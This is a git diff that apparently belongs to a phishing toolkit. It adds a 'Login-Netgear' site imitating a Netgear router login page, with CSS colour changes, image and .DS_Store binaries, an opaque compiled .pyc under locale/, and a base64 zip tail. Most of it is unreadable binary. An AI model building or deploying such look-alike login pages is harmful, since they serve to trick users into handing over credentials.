+5xzOYa/WlQymvjjvdqJ1pLZMCp7MFPA+aaBq5LpCCyKT5ijKEsXLoT3LlLloJZqMQpS6UEEhgaFu +6lN0P0gpYX1EvCqzFHwgF6IYUlWWHMKiaFRVuU0ZRk3LIihSxQT2jICqjk17EoCjDnq3fngEZgZT +V7ZIPmipqtf7CYvY+SEEv2tanXyIg3yxIJNfXgNDAWJNpEZoFDxDrTBIgfOSfsho4v8gvd2KO7lq +gS2bblWGp5qT4QZAswpl0N9oFKDcmhySZ7tTRutfkCQDK0lhZ1kO7q9A0xbaKyhIDqeB3pXAOhxB +5aX74MbJZKx+UHZKLCr3rMFDmqgNXOgDT1CR96pKZg5jtsqu/BE6e6vkHIR9y8uujdsph2H6ZRNO +UxpRIhm2d15FPA4DOAlOWdg1ErFSVCfVkgK9Ec88qaqyb+zOtLG7MCOLU6DGtk9NLvxmbESvO2JO +BEEw/ICPWpcLDHdAizSC6BBihiXiZAagoxQypII/HwvpvBO9e7vD/I0zDYljpyiFkoyQdFCvhjVa +LPD3mh5iIUxcNqxkENgpl/0r4msrremebQs7su7uZ1I3Q7DGGstoEKBy28Lhp4BoapJTtBMsBEyt +pKmV5tRK2Apm3TUdXiofsmDiKXordv8BUEsDBBQAAAAIAK8QTUmZwBCuswAAAAUBAAAKAAAAanMv +bWFpbi5qcz2NMQvCMBCF5xb6H47qkEApiCASJxdnN+fQnjWYJnpNrCL57zaxurx7973j3ZKVC207 +ZQ6W+pLXD6lVKx2yd5Fn5DUOIrrsiq+VgGQzwrtXhK1w5LFKqFdGo+ncRWxnIJ8z2KwjCDBpqKIi +kaWjlg32aJyAszeNU9YAgxRVgDpFwL8PE62VGZDc/uyQ2O+ivkmaBuPAd7G/yEM0Rf7vbLQd8KRM +a0cGfKoDGNNWp4TF8/ABUEsBAh8ACgAAAAAARAJNSQAAAAAAAAAAAAAAAAQAJAAAAAAAAAAQAAAA +AAAAAGNzcy8KACAAAAAAAAEAGAAWyZQhziTSARbJlCHOJNIBJOxaQsUk0gFQSwECHwAUAAAACACy +uUxJ8qGcyENfAABpKgMAHwAkAAAAAAAAACAAAAAiAAAAY3NzL2pxdWVyeS5tb2JpbGUtMS40LjUu +bWluLmNzcwoAIAAAAAAAAQAYALoAGh7FJNIBtmsKHsUk0gEfhvgdxSTSAVBLAQIfABQAAAAIAFkF +TUkY9YJUGgAAABgAAAAMACQAAAAAAAAAIAAAAKJfAABjc3MvbWFpbi5jc3MKACAAAAAAAAEAGABz +TlSU0STSARbJlCHOJNIBCYKQIc4k0gFQSwECHwAKAAAAAABACk1JAAAAAAAAAAAAAAAAAwAkAAAA +AAAAABAAAADmXwAAanMvCgAgAAAAAAABABgA9nMBf9Yk0gH2cwF/1iTSAemGCT3FJNIBUEsBAh8A +FAAAAAgAeLtMSRaOXj0nFAAAR0UAABwAJAAAAAAAAAAgAAAAB2AAAGpzL2FkZGl0aW9uYWwtbWV0 +aG9kcy5taW4uanMKACAAAAAAAAEAGADPDusZxyTSAaFA5RnHJNIBoITVGcck0gFQSwECHwAUAAAA +CAC3uUxJhPlPgNWAAAAqdgEAFwAkAAAAAAAAACAAAABodAAAanMvanF1ZXJ5LTEuMTEuMS5taW4u +anMKACAAAAAAAAEAGADD91AjxSTSAZAxRyPFJNIBEZw3I8Uk0gFQSwECHwAUAAAACAC9uUxJ5sWw +KtfWAADPDQMAHQAkAAAAAAAAACAAAABy9QAAanMvanF1ZXJ5Lm1vYmlsZS0xLjQuNS5taW4uanMK +ACAAAAAAAAEAGAAwcn0qxSTSAYDrcCrFJNIBp91iKsUk0gFQSwECHwAUAAAACABuu0xJM5mwOVEc +AACgWAAAGQAkAAAAAAAAACAAAACEzAEAanMvanF1ZXJ5LnZhbGlkYXRlLm1pbi5qcwoAIAAAAAAA +AQAYAK5fkw3HJNIBCBKIDcck0gEK+DQNxyTSAVBLAQIfABQAAAAIAK8QTUmZwBCuswAAAAUBAAAK +ACQAAAAAAAAAIAAAAAzpAQBqcy9tYWluLmpzCgAgAAAAAAABABgAwGkPId0k0gFxv9MKziTSATNj +0ArOJNIBUEsFBgAAAAAJAAkAhwMAAOfpAQAAAA==" \ No newline at end of file diff --git a/locale/en_EN.pyc b/locale/en_EN.pyc new file mode 100644 index 0000000000000000000000000000000000000000..efbb959554f629e75633e1a71a30342dfc85a265 GIT binary patch literal 1683 zcmb7E+iu%N5FOtgIleo#lcMdSFExrlDGKzhXe)^;nW#bvq?E+_P=e*IB*GLaaF=lO z+&=Xq`W5-J{y=9(qAx{XDv7Jzxty6fv%`(Q_Zy%7{PZD#)n^0$f5t~&;3Dz20dfug z0Qeo?M&NlJ!mCZxnO$76IGG8audWh z$Sn{%Ah$v6g4_Y|4CF3|2FPb1_CPj3JO{Z4Vjtvl5CJb zk3pP*JOObA@)X1ikY^yyLB0TS0rDKgCCCd9FF{^{cm+Xt^%7GwJGi`4rA~`nAL71K zs@SCYg#8vLx7A$lqs%MVK$Wvpla-ZpiuuACjnhnNeMXWhlPoU`OHj8|7|WAWr1`iSu`gr4eGq)Li>oKC8eKp(4*Q0?YMm3f@8ahzsVsmvA%d07^v-ostD zHEi`64+1~XpW}I0Qf{VTrP8J-6&shutS-nF*{0fRwWK0LWhl8>A<@e=7jr^MrSung zK#tNe;ij0)1S?svV$4>h5Ot2q)MM(tMz^p^5@cvxW!ZwIxi)c@DapRV2m5qxk zm(9i?Q?XX8!pBTgT}M_WbG^`YI7*SaRWrs#CRO<)#5a^&Sypp{CDn$HBRw(y7R^JY zW}0Q`tqrNLGZ;3`@XE;ri`_f>?YG9P1NHou0BI!>TVR-08wNbD2XC$dzINE4FnHD*Y^w!M8I1^ z*Xu>?R_B+|fb^ap4S4X@&?xwW8>{ZReIA+v1nc;tz7u)=FzTRgIRw7P4GjT*AGie9 z?TJuS^h8M`;0<};wfa%F<@V8HIRf^|oBI)nXaopr7*I|_ zKMHs_^bv8DJ>7mPq}Di8MaYMg)mz`eD(vmYWKc5VM8Z2BxLtyDF_9k09Ny>uCMFzp zIy?*svdw$07vWXH>Fk@+C&c&z?opA(7Ke1!1$X_C=d4%^g3(~eou!>6*6~N}KEH>g z?yRzmTHek3)(s_w%wOA%bgo-ok305yz{8@C@z{Km6-k__H!6>~*PJf`Yh+(n`a4{< g*Z%L!TaCC=%09Zt=q5uE@ literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/.DS_Store b/sites/Login-Netgear/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..91747eba8e9a8d303eaafda52872d43de7a704a9 GIT binary patch literal 8196 zcmeHLO>Epm6n-yRz-dV9{IzKd(u%!+5}`o54IEJ2Z4pgrl_eX}grwctYiD;<$75`7 zmJmhS11An#kvJhjfdf}0PDmgE6d~?#;lPyxmr50v^5$pL>~1O{R3W1HSu@}G&3m4m z&;C4~1pqA6-RA(t0KlLk(Cnvb4-@^ObXkw~h&-fx;1$Q`4xO1@v8f|vAY~wBAY~wB zAZ6hH!2qqHpsQwCB74kQEO{g9<1(9+mcC|?~^$t?h3hTPJqEkFJVv%*1W zX>2Ma4;iXdLY0boi-CIYfGVB(Egj!fsL}!D$aEb&GU^=)>a7Q6WjLUvFs)MtQUj}II^Vh#=s4~`6u9vwY4Hac|TRL6m-snA}pTwqL{ENf8m;MJDxui6nK*G)kQms?4aru z))yGfLi}<$Kq<5sc~3iZHAHKU zP*WWuV5F&aDAQR@`fifKYUEpO*A85!UoRB)qt?!0$_}AQSFlN?jPzM;WrE+4dzCPN(a?{9hj2ijK>~1nfL~kpos^Kk$6V_{2_%3NP@RM1`p)}_%`^>?usq6 zdNaoCkeMm%d^0;=+ubez)tL8BfEs`TRlHZE$q>0Nx+OdIOqE{g91+GiMh`RooHzy? z1Amq*szys8iumek^!wGm^-IMxQp+&r;sq;GIoj_v|R; znaJ!to}2g`y0U-awVzVkiUWdEdqb*2l&h zIF#LdC|gjPPekEmLB&6flE!1~yDo}su80ZoH5j)7lg-~*LU B&td=o literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/css/mainpage.css b/sites/Login-Netgear/css/mainpage.css index 45a70d9..0b1554a 100644 --- a/sites/Login-Netgear/css/mainpage.css +++ b/sites/Login-Netgear/css/mainpage.css @@ -1,7 +1,7 @@ html, body { margin: 0; padding: 0; - background-color:#e5e5e5; + background-color:#FFFFFF; min-height:600px; } diff --git a/sites/Login-Netgear/css/menu.css b/sites/Login-Netgear/css/menu.css index 307f8da..c48d10a 100644 --- a/sites/Login-Netgear/css/menu.css +++ b/sites/Login-Netgear/css/menu.css @@ -13,7 +13,7 @@ body { border:0; border-top:0; font-size:14px; - background-color:#E5E5E5; + background-color:#FFFFFF; } .panes{ @@ -24,14 +24,14 @@ body { border:0; border-top:0; font-size:14px; - background-color:#E5E5E5; + background-color:#FFFFFF; } .basic-menu{ margin:0px; margin-left:10px; margin-top:20px; color:#4e4e4e; - background-color:#E5E5E5; + background-color:#FFFFFF; height:480px; width:200px; } @@ -41,7 +41,7 @@ body { margin-left:0px; height:30px; width:200px; - background-color:#E5E5E5; + background-color:#FFFFFF; background: url("../img/basic-white-button.gif") no-repeat left top; } @@ -58,7 +58,7 @@ body { text-decoration:none; color:#4e4e4e; font-weight:bold; - background-color:#E5E5E5; + background-color:#FFFFFF; padding-top:5px; } @@ -66,7 +66,7 @@ body { text-decoration:none; color:#4e4e4e; font-weight:bold; - background-color:#E5E5E5; + background-color:#FFFFFF; padding-top:5px; cursor:pointer; } @@ -76,7 +76,7 @@ body { margin-left:0px; height:30px; width:200px; - background-color:#E5E5E5; + background-color:#FFFFFF; background: url("../img/basic-green-button.gif") no-repeat left top; } @@ -93,7 +93,7 @@ body { text-decoration:none; color:#000000; font-weight:bold; - background-color:#E5E5E5; + background-color:#FFFFFF; padding-top:6px; } @@ -101,7 +101,7 @@ body { text-decoration:none; color:#000000; font-weight:bold; - background-color:#E5E5E5; + background-color:#FFFFFF; padding-top:6px; cursor:pointer; } @@ -111,7 +111,7 @@ body { margin-left:0px; height:30px; width:200px; - background-color:#E5E5E5; + background-color:#FFFFFF; background: url("../img/gray-button.gif") no-repeat; } @@ -130,7 +130,7 @@ body { text-decoration:none; color:#ffffff; font-weight:bold; - background-color:#E5E5E5; + background-color:#FFFFFF; padding-top:5px; } @@ -138,7 +138,7 @@ body { text-decoration:none; color:#4e4e4e; font-weight:bold; - background-color:#E5E5E5; + background-color:#FFFFFF; padding-top:5px; cursor:pointer; } @@ -364,7 +364,7 @@ body { width:170px; padding-top:0px; color:#adadad; - background:#e5e5e5; + background:#FFFFFF; padding-left:20px; } @@ -389,7 +389,7 @@ body { width:170px; padding-top:0px; color:#4e4e4e; - background:#e5e5e5; + background:#FFFFFF; padding-left:20px; } @@ -412,7 +412,7 @@ body { width:170px; padding-top:0px; color:#adadad; - background:#e5e5e5; + background:#FFFFFF; padding-left:20px; } diff --git a/sites/Login-Netgear/img/.DS_Store b/sites/Login-Netgear/img/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..61c121e8bbba3106044819ae93902a8cf66f4fcd GIT binary patch literal 14340 zcmeHO&2k$>5T3Q=ApgYw@jt`~KV_htiXBMI&7=YaRS88U2XYg(Wy^pp8QI3+<`b1i z$Rp$tIC9K^2jCI%2;9Q=^^Bw*X-2yWRUE>uYBj6X_BY+%boca(Wn)Zo_pH2O%uQoV z5hvTpF}(d|%qm-T@Oz$J#~|(`I1g~*deWFe2nBFF!h}X#iXb*%RRz{%z)Z-H#++A}`_Po^G@x?>`fZw9<}-80+(sMJ zQ25G#y;9F~o!Ctyir#nF0z!}ty>}5vV0?H=vw#+ACH1gIL8ZF)G z#hZsVqeh|aAJ*Hd@cXcZ$;$Gyc!F7j}ugE$r3-H+*#ke_s2&JaCi zcs-*js0%$RilhBJ12@H@;^vC7N#kT<$3xO%rIAwk@lay=WMarenp2iB!yNaKVcXNZ#)^IMnIG#c_{}xgY5XWUiWeF=?u4(uRW&-99L0EMNloHH+zO;mE$KIcJmiq=2sLew zBM0>qCZ9xYK1VglS$;o@%^dASV_k*Kb@K$W%}Sg*Y_zxA8&k(z7}e;DeV_+z7bZ30 z1Y%?d7WWUk7Nw`8 ztV#zSD`v0#i@u_Mh68$#9f}CPRv__TkydToky*B zh>U>~#Glp4?jK~s1wVqj=5VJwaP6E-4`eM9Txln;RxsXi81o(mb72*B(Qf(x{~|&b zHo}%NQU&d5Uucp2S>cT{hcpw>uXlz)bb2VU5oJz4#>wo{^RGA_8sq)VJBF-DH~IU& zFXF%dfAb8_Ey@|l8E7$(6z)B`cNZVsZ|hoLG%xsDyH%XuPX#UP=9c#Y-$@>2vVhVoQ literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/Netgeargenie.png b/sites/Login-Netgear/img/Netgeargenie.png new file mode 100644 index 0000000000000000000000000000000000000000..12409181483f9c5d8f836e7e46dad230b39a0b02 GIT binary patch literal 5763 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 